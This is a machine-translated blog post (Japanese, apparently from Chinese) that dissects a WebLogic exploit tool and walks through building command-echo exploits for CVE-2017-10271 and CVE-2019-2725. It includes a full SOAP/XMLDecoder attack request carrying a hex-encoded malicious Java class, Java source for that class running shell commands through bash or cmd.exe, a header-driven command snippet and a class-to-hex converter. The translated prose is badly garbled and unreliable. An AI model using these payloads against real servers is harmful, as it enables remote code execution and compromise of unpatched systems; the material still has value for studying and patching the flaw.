序文
私は、誰もがされるツールを使用している、知らないshack2が書かれたの
これは非常に魔法のツールです。マジックは、通常、Webアプリケーションのデフォルトのパスを書き、それがエコーを取得することができ、右のパスWebアプリケーションのリリースを見つけることができるEXPの現在知られているXMLDecoderのを実行しています。ときに、ユーザーのインストールによるルーティングの問題に、パスを変更し、でもこれらのキースクリプト/ツールexpが失敗します。そして、このこれらの痛みのポイントを解決するのに最適なツールです。
それでは、この原則は、達成するためのツールがありますか?質問で、私は逆コンパイルしてみてください
逆コンパイル
JD-GUI私はのjarファイルを開くには、このツールを使用するか、またはいくつかの一般的なEXPドーピングメッセージが、六角の奇妙な文字列の束を見つけました
私はこの16進数文字列がそれに鍵となる必要がありますね。私は、復元しようとし、それを抽出します
削減は、私が0xの進ヘッダを削除しようとし続け、何の応答は認められませんでした
結果の一部が出てくることができますが、これは私が望んでいた結果ではない、文字化けしています。
注意深い観察ツールexpは、メソッドFromHexStringの源を見つけるだろう、この方法は、WebLogicから派生しています。
私は、プロジェクトをビルド、復元しよう
成功した復元
これは、元のhexStringクラスで、エンド見
proc.getInputStream();
私はそれのいくつかを理解するように見えたが。
悪意のあるクラス
データを見た後、私たちは、このクラスは、不正なクラスと呼ばれることがわかりました。バイト[] -----> defineClassクラスメソッドorg.mozilla.classfile.DefiningClassLoader着信com.supeream.exploitsにweblogic.utils.Hex.fromHexStringクラスにCLSに送ら悪意のある進符号化されたクラスID。 newInstanceメソッドによってXmlExp悪意のあるクラスは、クラスをインスタンス化し、悪質な方法あなたはidが内部procのエコーエコークラスをWebLogicへ設定されている入力し、受信コマンドを言って呼び出します。
私は、アウトを抽出burpsuite直接メッセージを送信しよう
これは、良好な結果が重要なリターン・メッセージを直接バックパックすることができることを見出し
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.50.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 5125
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="weblogic.utils.Hex" method="fromHexString" id="cls">
<string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.supeream.exploits.XmlExp</string>
<object idref="cls"></object>
<void method="newInstance">
<void method="say" id="proc">
<string>ls</string>
</void>
</void>
</void>
</void>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object idref="proc"></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
多くの悪質な書き込みのクラスがありますが、我々は書かれshack2を提供するために、すべてではない時間が有効で、自分の状況に応じて書くことができます。時には、メッセージは以下のコードは、密接な関係を持っているだけのよう、エコーないかもしれません。
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
servletResponse.getWriter().write("");
もちろん、悪意のあるクラスのコアは、オペレーティング・システムに基づいて自動的にコマンドを実行して、我々は、かどうかはbash cmdを指定する必要はありません。悪質なクラスを書き換えることにより、我々はより迅速にシェルwebappディレクトリの公開を書くことができるようになります。これに先立ち、私はxargsのでfindコマンドを使用するシェルを作成します。この方法は、Linuxにのみ適用されるか、PowerShellの機械、比較的低いパフォーマンスを獲得取り付けられました。悪質なクラスを書き換えることで、私は正常に私の現在のリリースWebアプリケーションのパスを伝えることができるaa.txtxファイルを書き込みました。
String path = webAppServletContext.getRootTempDir().getAbsolutePath() + "/war/aa.txt";
if (cmd.equalsIgnoreCase("givemewlswarpath")) {
servletResponse.getWriter().write(path);
} else {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
List cmds = new ArrayList();
PrintWriter printWriter = new PrintWriter(path + "x");
printWriter.println(path);
printWriter.close();
if (cmd.startsWith("$NO$")) {
cmds.add(cmd.substring(4));
} else if (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
} else {
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}
もちろん、あなたがシェルを書くために直接書きたい、悪意のあるクラスを書き換えることができます。
そこで問題は、どのようにhexStringに良いローグのクラスを書き換えるのですか?
悪意のあるクラスターンhexString
私は一瞬afanti首長を求める、私は答えを得た、とここで私は、コードを直接掲載しました
import java.io.*;
public class Echo3 {
public static void main(String[] args) throws IOException {
InputStream in = new FileInputStream("/Users/xue/WeblogicEcho/XmlExp.class");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data,4194);
//System.out.println(HexString);
try {
File file = new File("hex.txt");
PrintStream ps = new PrintStream(new FileOutputStream(file));
ps.println(HexString);// 往文件里写入字符串
//ps.append(HexString);// 在已有的基础上添加字符串
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static byte[] toByteArray(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024 * 4];
int n = 0;
while ((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public static String bytesToHexString(byte[] bArray, int length)
{
StringBuffer sb = new StringBuffer(length);
String sTemp;
for (int i = 0; i < length; i++)
{
sTemp = Integer.toHexString(0xFF & bArray[i]);
if (sTemp.length() < 2)
sb.append(0);
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
afanti元のコードに基づき、私は直接hex.txtに書き込まれた結果を消します
CVE-2019-2725
10.3.6
それでは、どのようCVE-2019-2725を構築しますか?
lufeiギャングスターは少し悪意のあるクラスを変換します。ボイドが後ろクラスで、10.3.6を持つようにすることができないので、oracle.toplink.internal.sessions.UnitOfWorkChangeSet
歩行バイトストリームコマンドは柔軟変更することはできません実行する必要が、ヘッダ内lufei首長とpyn3rdマスタが実行するコマンドを受信するようにパラメータを追加しました。
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");
建設の詳細は、テキストの最後にあるリンクを参照してください。
次のような結果を達成するために
ここJDK7U21ガジェットの使用lufeiギャング、ここpyn3rdマスターのヒントと行うためのガジェットは何も、私は関連する詳細情報を開示することはありません。10.3.6は、このような効果を持っているので、それは十分でしょう。だから、もう一度質問は、12.1.3はできません
oracle.toplink.internal.sessions.UnitOfWorkChangeSet
、どのように構築します
12.1.3
12.1.3を使用することができorg.slf4j.ext.EventData
、複数のXMLDecoderの、非常に残忍な方法を。
次のような結果を達成するために
ブラックリストタグのみ防衛最も外側のXMLにパッチInside、および防衛のxml XML内にネストすることはできません。
現在の活動にMouwang敏感期間ですが、私は開きません。
これは、すべてのEXP建設CVE-2019から2725には、最後に来ました。新しいパッチもこのブラックリスト残忍な方法をブラックリストクラスを入力して、配列の長さを制限し、Oracleのだろう、我々が表示されます、近い将来に再びバイパスすることができます。
特別な注意
CVE-2019-2725 CVE-2017から10271のパッチは、私たちがEXPをエコーでそれを構築することができ、WLS-ワストコンポーネントが均等に影響され、バイパスされます。非同期は、エコーパケットではありません。しかし、書き込みクラスは、非同期の同じ機能を果たす、悪意のある操作などを行います。
謝辞(アルファベット順)
pyn3rd
afanti
lufei
参照
lufei - weblogic_2019_2725pocとエコー構造:https://xz.aliyun.com/t/5299
afanti - Javaの直列化復元RCEエコー研究:https://xz.aliyun.com/t/5257
ます。https://www.jianshu.com/p/5772a8a5d8f3で再現